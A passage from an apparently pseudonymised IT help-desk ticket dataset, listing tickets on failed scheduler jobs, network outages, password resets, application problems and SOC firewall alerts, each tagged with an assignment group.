7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: 134 occurrences of your firewall company-european-asa.company.com-1/80.71.06.702 dropping traffic sourcing from HostName\_25, Description: dsw\_x000D\_
\_x000D\_
in33727185incident overview\_x000D\_
=========================\_x000D\_
we have detected at least 134 occurrences of your firewall company-european-asa.company.com-1/80.71.06.702 dropping traffic sourcing from HostName\_25/15.69.85.2812 and destined to port 445 of one or more destination devices. this activity may indicate one of the following:\_x000D\_
1. an infection on this host\_x000D\_
2. a misconfigured firewall\_x000D\_
3. a misconfigured host\_x000D\_
4. port scan (authorized or unauthorized)\_x000D\_
\_x000D\_
we are escalating this incident to you via a high priority ticket and a phone call per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at 877. \_x000D\_
\_x000D\_
1) ticket only escalation for these alerts where the traffic was blocked (explicit notification via a medium priority ticket (no phone call))\_x000D\_
2) automatically resolve these alerts where the traffic was blocked to the portal (no explicit notification but events will be available for reporting purposes in the portal), is assigned to Assignment group: GRP\_12.Ticket with Short description: job snp\_heu\_1\_regen failed in job\_scheduler at: 08/28/2016 05:56:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job snp\_heu\_1\_regen failed in job\_scheduler at: 08/28/2016 05:56:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: in HostName\_968, HostName\_107, HostName\_520 service alwaysupservice.exe is not running., Description: in HostName\_968, HostName\_107, HostName\_520 service alwaysupservice.exe is not running., is assigned to Assignment group: GRP\_14.Ticket with Short description: job Job\_1338 failed in job\_scheduler at: 08/28/2016 04:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1338 failed in job\_scheduler at: 08/28/2016 04:02:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: please reset telephony\_software password for: (username)-(ticket\_no1545706), Description: please reset telephony\_software password
name:(full name) cajdwtgq breqgycv
username: pogredrty
extension: 207563
site: israel, is assigned to Assignment group: GRP\_0.Ticket with Short description: job mm\_zscr0099\_wkly\_rollfgyuej1 failed in job\_scheduler at: 08/28/2016 00:11:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job mm\_zscr0099\_wkly\_rollfgyuej1 failed in job\_scheduler at: 08/28/2016 00:11:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_3050 failed in job\_scheduler at: 08/27/2016 23:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3050 failed in job\_scheduler at: 08/27/2016 23:02:00, is assigned to Assignment group: GRP\_45.Ticket with Short description: skype for business is shutting down when starting the computer, Description: the error message is "skype for business has stopped working" and there is an icon to click that says "close the programdnty", is assigned to Assignment group: GRP\_0.Ticket with Short description: india:switch company-ap-ind-pu4-2960s-stack-sw01(17.01.85.8278) is down since 8:22 pm on 08/27 et, Description: india:switch company-ap-ind-pu4-2960s-stack-sw01(17.01.85.8278) is down since 8:22 pm on 08/27 et, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_749 failed in job\_scheduler at: 08/27/2016 15:29:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_749 failed in job\_scheduler at: 08/27/2016 15:29:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_749 failed in job\_scheduler at: 08/27/2016 15:29:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_749 failed in job\_scheduler at: 08/27/2016 15:29:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job SID\_39hotf failed in job\_scheduler at: 08/27/2016 15:21:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_39hotf failed in job\_scheduler at: 08/27/2016 15:21:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job SID\_48hotf failed in job\_scheduler at: 08/27/2016 15:20:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_48hotf failed in job\_scheduler at: 08/27/2016 15:20:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job Job\_729 failed in job\_scheduler at: 08/27/2016 15:20:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_729 failed in job\_scheduler at: 08/27/2016 15:20:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job SID\_55apps failed in job\_scheduler at: 08/27/2016 15:10:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_55apps failed in job\_scheduler at: 08/27/2016 15:10:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: problem report from pwr8hmc1.hq.company.com;pmr number: 73968,082,000, Description: reporting system: 2-hq-dev2-9119-mme-sn21a9bf7 machine type-model/serial: 9119-mme/21a9bf7 problem number: 90
error: a8115872
description: platform firmware (0x82) reported an error.
last occurred: 8/27/16 7:47 am
current status: opened
pmr number: 739
details: remote support call generated on pwr8hmc1 completed successfully by server pwr8hmc1(192.168.128.1).
, is assigned to Assignment group: GRP\_47.Ticket with Short description: company-na-usa-usa-eh-media-2960-access-sw07 switch is down at usa company location since 12:37pm et on 08/27/16, Description: company-na-usa-usa-eh-media-2960-access-sw07 switch is down at usa company location since 12:37pm et on 08/27/16, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_1925 failed in job\_scheduler at: 08/27/2016 12:56:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1925 failed in job\_scheduler at: 08/27/2016 12:56:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: cannot connect to internet although wifi connected, Description: \_x000D\_
\_x000D\_
received from: ugephfta.hrbqkvij@gmail.com\_x000D\_
\_x000D\_
hello\_x000D\_
cannot connect to any internet site via explorer although my wifi is connected. pls help urgently i am supposed to run uacyltoe hxgayczeing and am already an hour behind.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1989 failed in job\_scheduler at: 08/27/2016 11:24:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1989 failed in job\_scheduler at: 08/27/2016 11:24:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: job Job\_2071 failed in job\_scheduler at: 08/27/2016 11:25:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2071 failed in job\_scheduler at: 08/27/2016 11:25:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: job Job\_1989 failed in job\_scheduler at: 08/27/2016 11:24:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1989 failed in job\_scheduler at: 08/27/2016 11:24:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: job Job\_1910 failed in job\_scheduler at: 08/27/2016 11:22:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1910 failed in job\_scheduler at: 08/27/2016 11:22:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: job Job\_1906 failed in job\_scheduler at: 08/27/2016 11:21:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1906 failed in job\_scheduler at: 08/27/2016 11:21:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: job Job\_1904 failed in job\_scheduler at: 08/27/2016 11:15:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1904 failed in job\_scheduler at: 08/27/2016 11:15:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: HostName\_53:volume: f:\ label:dat2-HostName\_53 d4e35b72 on server is over 85% space consumed. space available: 1.4 g, Description: HostName\_53:volume: f:\ label:dat2-HostName\_53 d4e35b72 on server is over 85% space consumed. space available: 1.4 gb, is assigned to Assignment group: GRP\_12.Ticket with Short description: 'repeat outbound connection for 135/tcp' , Description: dsw in33693734\_x000D\_
\_x000D\_
we are seeing your 80.71.06.702/company-european-asa.company.com-1 device generating a high volume of 'repeat outbound connection for 135/tcp' alerts for traffic (blocked) from awyl8911907/10.16.143.215 to port 135/tcp (remote procedure call (rpc)) of external host 180.168.41.175. this may indicate a misconfiguration, where the firewall is blocking traffic to a legitimate server/application. this may also indicate a compromised host reaching out to a malicious host or propagating worm code.\_x000D\_
\_x000D\_
we are escalating this incident to you via a medium priority ticket and email per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at 877. \_x000D\_
\_x000D\_
1) full escalation for windows login failure alerts (explicit notification via a high priority ticket and a phone call)\_x000D\_
2) automatically resolve windows login failure alerts directly to the portal (no explicit notification but events will be available for reporting purposes in the portal)\_x000D\_
\_x000D\_
sincerely,\_x000D\_
soc, is assigned to Assignment group: GRP\_50.Ticket with Short description: repeat outbound connection for 135/tcp, Description: dsw in33604236\_x000D\_
\_x000D\_
incident overview\_x000D\_
=========================\_x000D\_
we are seeing your 18.79.63.203/company-internal-asa.company.com-1 device generating a high volume of 'repeat outbound connection for 135/tcp' alerts for traffic (blocked) from lhql8516748/10.24.12.180 to port 135/tcp (remote procedure call (rpc)) of external host 92.242.140.21. this may indicate a misconfiguration, where the firewall is blocking traffic to a legitimate server/application. this may also indicate a compromised host reaching out to a malicious host or propagating worm code.\_x000D\_
\_x000D\_
we are escalating this incident to you via a medium priority ticket and email per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at 877. \_x000D\_
\_x000D\_
1) full escalation for windows login failure alerts (explicit notification via a high priority ticket and a phone call)\_x000D\_
2) automatically resolve windows login failure alerts directly to the portal (no explicit notification but events will be available for reporting purposes in the portal)\_x000D\_
\_x000D\_
sincerely,\_x000D\_
soc, is assigned to Assignment group: GRP\_3.Ticket with Short description: 29866 vid22518 bare http get executable from ip address , Description: dsw in33608874\_x000D\_
\_x000D\_
received alert(s) for summary "29866 vid22518 bare http get executable from ip address (possible downloader trojan)" from the device with ip address "80.68.49.4169". the source of this traffic is from ip "16.56.04.95108" (axcl8812244), and the destination is ip "103.7.29.25". details of an example event are shown below. please investigate this activity and remediate as necessary.\_x000D\_
\_x000D\_
as always, if you have any questions or concerns, please call the counter threat operations center at 877 opt 1 to discuss, or submit a response in the open ticket with an action of "respond to soc". \_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_30.Ticket with Short description: 54.96.80.216/att-apac-asa.company.com-1 device generating at least 129 'internal outbreak for 7/tcp' , Description: dsw in33715799\_x000D\_
\_x000D\_
we are seeing your 54.96.80.216/att-apac-asa.company.com-1 device generating at least 129 'internal outbreak for 7/tcp' alerts within 10 minutes, for traffic (blocked) from aidl8912600/10.38.91.26 to port 7/tcp of several internal hosts. this may indicate unauthorized reconnaissance scanning, a misconfiguration, or authorized internal discovery being blocked by the firewall.\_x000D\_
\_x000D\_
we are escalating this incident to you via a high priority ticket and a phone call per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at 877. \_x000D\_
\_x000D\_
1) ticket only escalation for internal reconnaissance alerts (explicit notification via a medium priority ticket (no phone call))\_x000D\_
2) automatically resolve internal reconnaissance alerts to the portal (no explicit notification but events will be available for reporting purposes in the portal)\_x000D\_
\_x000D\_
sincerely,\_x000D\_
soc\_x000D\_
, is assigned to Assignment group: GRP\_19.Ticket with Short description: job Job\_1314 failed in job\_scheduler at: 08/27/2016 08:20:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1314 failed in job\_scheduler at: 08/27/2016 08:20:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: network outage: usa - (company inc) network is down since 8:06am et on 08/27/16., Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_\_8:06am et on 08/27/16\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_na\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: emails not updating, Description: emails not updating, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1898 failed in job\_scheduler at: 08/27/2016 07:20:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1898 failed in job\_scheduler at: 08/27/2016 07:20:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: HostName\_148(SID\_24): volume consumed on /dev/erplv is more than 85%., Description: HostName\_148(SID\_24): volume consumed on /dev/erplv is more than 85%., is assigned to Assignment group: GRP\_47.Ticket with Short description: job pp\_EU\_tool\_netch\_ap1 failed in job\_scheduler at: 08/27/2016 07:08:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job pp\_EU\_tool\_netch\_ap1 failed in job\_scheduler at: 08/27/2016 07:08:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: ms outlook 2010, not accepting password., Description: ms outlook 2010, not accepting password., is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_3190 failed in job\_scheduler at: 08/27/2016 01:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3190 failed in job\_scheduler at: 08/27/2016 01:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: erp password locked, Description:
received from: gnasmtvx.cwxtsvkm@gmail.com
hi.
please unblock the erp password.
userid: hegdthy (gnasmtvx cwxtsvkm)
, is assigned to Assignment group: GRP\_0.Ticket with Short description: how to access drwgs from net weaver, Description: name:jvpkulxw ovuweygj
language:
browser:microsoft internet explorer
email:jvpkulxw.ovuweygj@gmail.com
customer number:
telephone:094
summary:how to access drwgs from net weaver, is assigned to Assignment group: GRP\_0.Ticket with Short description: job HostName\_1019fail\_uacyltoe hxgaycze failed in job\_scheduler at: 08/26/2016 23:22:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job HostName\_1019fail\_uacyltoe hxgaycze failed in job\_scheduler at: 08/26/2016 23:22:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_3028 failed in job\_scheduler at: 08/26/2016 22:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3028 failed in job\_scheduler at: 08/26/2016 22:02:00, is assigned to Assignment group: GRP\_45.Ticket with Short description: circuit outage :germany -company(werkzeuge & hartstoffe) secondary vpn is down since 4:19 pm on 08/26 et, Description: what type of outage: \_\_\_\_\_network \_\_x\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_4:19 pm on 08/26 et\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_na\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_na\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_na\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_na\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: unable to sync with one note files , Description: unable to sync with one note files , is assigned to Assignment group: GRP\_16.Ticket with Short description: problems weekly report, Description: \_x000D\_
\_x000D\_
received from: jokgacwd.hdfcwust@gmail.com\_x000D\_
\_x000D\_
hello all,\_x000D\_
\_x000D\_
i canÂ´t transfer my weekly report to the system.\_x000D\_
\_x000D\_
donÂ´t know whatÂ´s the problem.\_x000D\_
\_x000D\_
see the atache as well.\_x000D\_
\_x000D\_
need your support.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: collaboration\_platform assistance, Description: \_x000D\_
\_x000D\_
received from: wjpncyef.tspnaimc@gmail.com\_x000D\_
\_x000D\_
hello â€“ i need some assistance updating part of the collaboration\_platform page for my department. specifically, there is a link on our page that directs to a document. i need to ensure that a more up to date version of the document is linked.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_16.Ticket with Short description: cannot use skype for business with full audio and video. it does not respond and must be closed down., Description: any skype meeting used must be entered with "call me at:" and "don't join audio". the "use skype for business(full audio and video experience)" only freezes skype. it takes really a long time to open again.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job HostName\_1019failagain\_emb1 failed in job\_scheduler at: 08/26/2016 15:26:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job HostName\_1019failagain\_emb1 failed in job\_scheduler at: 08/26/2016 15:26:00, is assigned to Assignment group: GRP\_60.Ticket with Short description: job HostName\_1019fail\_emb1 failed in job\_scheduler at: 08/26/2016 15:21:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job HostName\_1019fail\_emb1 failed in job\_scheduler at: 08/26/2016 15:21:00, is assigned to Assignment group: GRP\_60.Ticket with Short description: connecting to vpn, Description: connecting to vpn, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to scan from the hp all in one printer, Description: unable to scan from the hp all in one printer, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to submit expense report, Description: unable to submit expense report, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset the password for ljpgedia bzqcwsgf on erp / production / erp, Description: reset the password for ljpgedia bzqcwsgf on erp / production / erp, is assigned to Assignment group: GRP\_0.Ticket with Short description: updating password on password\_management\_tool , Description: updating password on password\_management\_tool , is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn, Description: \_x000D\_
\_x000D\_
received from: peojqgvm.qayeptuo@gmail.com\_x000D\_
\_x000D\_
not able to log into vpn. need some assistance please.\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: bex not loading all environment, Description: bex addin is not showing all environment(SID\_37, SID\_39,etc) and unable to add SID\_37.\_x000D\_
installed bex patch and bex addin but same issue, it happened to erp logon also but later manually added different environment.\_x000D\_
\_x000D\_
can you please check how it got dierppeared without making any changes.\_x000D\_
\_x000D\_
please refer to screenshot \_x000D\_
\_x000D\_
\_x000D\_
computer name-lhql7404424, is assigned to Assignment group: GRP\_9.Ticket with Short description: ie settings, Description: ie settings, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to install draftsight on the pc , Description: unable to install draftsight on the pc , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to skype, Description: unable to connect to skype, is assigned to Assignment group: GRP\_0.Ticket with Short description: remove ukxtqfda qvtaykbg from telephony\_software workgroups and company directory, Description: employee took vsp therefore, remove ukxtqfda qvtaykbg from telephony\_software workgroups and company directory, is assigned to Assignment group: GRP\_7.Ticket with Short description: weekly report error message, Description: \_x000D\_
\_x000D\_
received from: mrczxwje.ocasryzq@gmail.com\_x000D\_
\_x000D\_
hallo,\_x000D\_
\_x000D\_
bitte um behebung von folgendem problem.\_x000D\_
bei aktiver vpn verbindung kann der weekly report nicht hochgeladen werden.\_x000D\_
\_x000D\_
[cid:image001.jpg@01d1ffc1.92c4d840]\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen | best , is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook is not opening, Description: outlook is not opening, is assigned to Assignment group: GRP\_27.Ticket with Short description: erp password reset urgent account got locked out, Description: erp password reset. account got locked out., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to skype, Description: unable to login to skype, is assigned to Assignment group: GRP\_0.Ticket with Short description: two analog lines not working with new phone system they support our 911 and adt/tyco notification system!!, Description: need two analog lines turned back on immediately 423.928.6266 & 423.928.6076 we have no emergency notification system right now., is assigned to Assignment group: GRP\_3.Ticket with Short description: password has expired, Description: password has expired, is assigned to Assignment group: GRP\_0.Ticket with Short description: agents are not receiving revenue, Description: the agents are not receiving the correct amount of revenue. please look at the procedure that is assigning revenue based on direct and pos rules, is assigned to Assignment group: GRP\_25.Ticket with Short description: usa orders showing up in the us\_plant to-do list, Description: both locations have a work center 81821121 defined in erp, which is causing orders for both locations to appear in the to-do list. change the query to check for both the plant and work center., is assigned to Assignment group: GRP\_41.Ticket with Short description: erp issues, Description: \_x000D\_
\_x000D\_
received from: raifstow.gfeymtql@gmail.com\_x000D\_
\_x000D\_
i cannot create deliveries and also erp is really slow, its hard to even get through an order. this is a huge priority as our shipments suffer.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_14.Ticket with Short description: engineering\_tool error , Description: engineering\_tool error , is assigned to Assignment group: GRP\_0.Ticket with Short description: reset ess password , Description: reset ess password , is assigned to Assignment group: GRP\_0.Ticket with Short description: not able to do pgi for deliveries 9168017962/8057916405/9168048239/916806308 - error co account assignments, Description: delivery 9168017962 customer 81295213 - itens 7172133-6060954-7171068 ( co account assignments have different profit centers\_x000D\_
message # bk134) \_x000D\_
delivery 9168027516 customer 81295213- itens 2668785-3647247-4859489 ( co account assignments have different profit centers\_x000D\_
message # bk134) \_x000D\_
delivery 9168048239-customer 81295213-itens 4768854-3752015 ( co account assignments have different profit centers\_x000D\_
message # bk134) \_x000D\_
delivery 9169147360-customer 81295213-item 6101508- co account assignments have different profit centers\_x000D\_
message # bk134) \_x000D\_
, is assigned to Assignment group: GRP\_44.Ticket with Short description: unable to check emails / doesn't sync // account settings are outdated., Description: unable to remove/add/repair email account from windows phone.\_x000D\_
trying to repair the account and its showing that repair not possible.\_x000D\_
its not even letting user to remove and re-add the account.\_x000D\_
unable to check emails / doesn't sync // account settings are outdated.\_x000D\_
, is assigned to Assignment group: GRP\_33.Ticket with Short description: query : attendance\_tool account. , Description: query : attendance\_tool account. , is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on ticket\_no0433866, Description: ticket update on ticket\_no0433866, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp delivery issues, Description: \_x000D\_
\_x000D\_
received from: raifstow.gfeymtql@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i am having issues forcing deliveries in erp.\_x000D\_
\_x000D\_
[cid:image001.png@01d1ff73.c210fc30]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: nicrhty wanted to set ooo from ofwxjriq rwcxkflq's mailbox., Description: nicrhty wanted to set ooo from ofwxjriq rwcxkflq's mailbox., is assigned to Assignment group: GRP\_0.Ticket with Short description: require crm access in android phone, Description: \_x000D\_
\_x000D\_
received from: luxdnsvk.qmnyzcfs@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
i would like to use crm on my android mobile phone.\_x000D\_
kindly let me know the procedure.\_x000D\_
\_x000D\_
with best , is assigned to Assignment group: GRP\_0.Ticket with Short description: ng\_azubi locked, Description: ng\_azubi locked, is assigned to Assignment group: GRP\_34.Ticket with Short description: ng\_azubi locked., Description: ng\_azubi locked., is assigned to Assignment group: GRP\_0.Ticket with Short description: final quota warning, Description: hello,\_x000D\_
\_x000D\_
can you please help me on trailing email on "mailbox-full" warning?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account locked, Description: erp SID\_34 account locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: mobile device support, Description: \_x000D\_
\_x000D\_
received from: ebqdmgpk.daoyrtmj@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
i am having issues with incoming/outgoing call on my company mobile device. i was unable to access the global support center on the hub. i will likely need a new device, as this issue is impact related. do i contact vendor mobile directly, or ? , is assigned to Assignment group: GRP\_0.Ticket with Short description: support fÃ¼r umbau \ ewew8323862 \xwirzvda okhyipgr, Description: support fÃ¼r umbau \ ewew8323862 \xwirzvda okhyipgr, is assigned to Assignment group: GRP\_24.Ticket with Short description: password expired, Description: password expired, is assigned to Assignment group: GRP\_0.Ticket with Short description: close line item on order 19101476, Description: hi,\_x000D\_
please close line item 91 on order number 20212587 because it has already been delivered but remains open in md04.\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: job Job\_1314 failed in job\_scheduler at: 08/26/2016 08:15:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1314 failed in job\_scheduler at: 08/26/2016 08:15:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: unable to change password on password\_management\_tool password manager, Description: unable to change password on password\_management\_tool password manager, is assigned to Assignment group: GRP\_0.Ticket with Short description: it help for engineering\_tool and engineering\_tool, Description: dear sir,\_x000D\_
\_x000D\_
please help to download software of engineering\_tool & engineering\_tool on my laptop.\_x000D\_
our details are as below. i have a dealer of company india ltd.\_x000D\_
dist. name â€“ ramdntya enterprises , aurangabad ( maharashtra )\_x000D\_
dist. code â€“ 81808174.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: account getting locked frequently, Description: account getting locked frequently. user changed the password today itself., is assigned to Assignment group: GRP\_0.Ticket with Short description: wrong commited dates for 1409 on orders and quotes , Description: team, since yesterday we noticed that the commited date on order confirmation is wrong - it should be 12 days if tool is available in germany for transit plus 10 days for customer pick up. as a matheywter of fact the dates are too long in the future - e.g. order 35955871 opened today and available in plant\_105 gives committed date of all mms (confirmed only for november). , is assigned to Assignment group: GRP\_6.Ticket with Short description: it - erp, Description: \_x000D\_
\_x000D\_
received from: kehtxprg.uekapfzt@gmail.com\_x000D\_
\_x000D\_
i am trying to access point of sales data in bex and it tells me i am not authorized, can you please authorize and give me access to that cube?\_x000D\_
\_x000D\_
attached is the files i am opening and once i connect to bex it gives me the following message\_x000D\_
\_x000D\_
[cid:image001.jpg@01d1ff67.61cd1680]\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: laptop charge, network cable not working in our docks, Description: laptop charge, network cable not working in our docks, is assigned to Assignment group: GRP\_19.Ticket with Short description: wrong nxd in plm, Description: \_x000D\_
\_x000D\_
received from: vahqkojb.trlapeso@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
